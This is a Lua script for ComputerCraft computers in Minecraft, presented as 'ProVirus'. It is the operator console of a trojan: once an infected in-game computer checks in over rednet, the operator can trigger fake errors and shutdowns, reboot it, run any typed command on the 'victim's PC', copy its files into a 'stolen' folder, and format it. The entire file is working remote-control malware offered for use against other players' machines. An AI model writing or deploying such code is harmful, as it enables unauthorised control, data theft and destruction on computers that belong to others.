term.clear()
term.setCursorPos(1,1)

rednet.open("left")
rednet.open("right")
rednet.open("back")
rednet.open("top")
function credits()
term.clear()
term.setCursorPos(1,1)
print("---ProVirus---")
print("ProVirus Made and coded by ComputerCraftFan11")
end
print("---ProVirus---")
print("1. Check Computers")
print("2. Credits")
print("3. Quit")
while true do
local e,key = os.pullEvent( "key" )
if key == 2 then
  break
elseif key == 3 then
  credits()
elseif key == 4 then
  os.reboot()
end
end
term.clear()
term.setCursorPos(1,1)
print("---ProVirus---")
print("Waiting for a computer to respond.")
print("Make sure you intalled the virus correctly.")
print("Press Ctrl+T to cancel.")

repeat
	sleep(0)
	id, message = rednet.receive()
until message == "Hello" ..os.getComputerID()

rednet.send(id, "Received")
term.clear()
term.setCursorPos(1,1)
print("---ProVirus---")
print("Computer " ..id.. " has joined!")
print("Would you like to hack that computer?")
print("1. Yes")
print("2. No")
while true do
local e,key = os.pullEvent( "key" )
if key == 2 then
  break
elseif key == 3 then
  os.reboot()
end
end
function menu()
term.clear()
term.setCursorPos(1,1)

print("---ProVirus---")
print("Connected to " ..id)
print("Commands: | Fun:        | Other:     |")
print("1.Error   |2.FakeOff(5s)|3.          |")
print("4.Clear   |5.           |6.          |")
print("7.Reboot  |8.           |9.          |")
print("A.Run     |B.           |C.          |")
print("D.Copy    |E.           |F.          |")
print("\nX = Format (USE AT OWN RISK)")
end
menu()
while true do
	local e,key,message = os.pullEvent()
	if e == "key" then
		if key == 2 then
		  rednet.send(id, "Spam")
		  menu()
		elseif key == 5 then
		  rednet.send(id, "Clear")
		  menu()
		elseif key == 8 then
		  rednet.send(id, "Boot")
		  menu()
		elseif key == 3 then
		  rednet.send(id, "Off")
		  menu()
		elseif key == 30 then
			term.clear()
			term.setCursorPos(1,1)
			print(os.version())
			print("Anything you type here will be ran on your victim's PC")
			write("> ")
			input = read()
			rednet.send(id, input)
			idm, message = rednet.receive(0.1)
			if message == "runfailed" and idm == id then
				print("No such program")
				sleep(0.5)
			end
			menu()
		elseif key == 32 then
			term.clear()
			term.setCursorPos(1,1)
			write("> steal ")
			rednet.send(id, "copy")
			filename = read()
			rednet.send(id, filename)
			idm, message = rednet.receive(0.1)
			if message == "runfailed" and idm == id then
				print("No such program")
			else
				if not fs.exists("stolen") then
					fs.makeDir("stolen")
				end
				file = fs.open("stolen/" ..filename, "w")
				file.write(message)
				file.close()
				print("Saved as stolen/" ..filename.. "!")
			end
			sleep(0.5)
			menu()
		elseif key == 45 then
			term.clear()
			term.setCursorPos(1,1)
			rednet.send(id, "format")
			print("Error: Computer #" ..id.. " no longer exists.")
			sleep(1)
			os.reboot()
		end
	end
end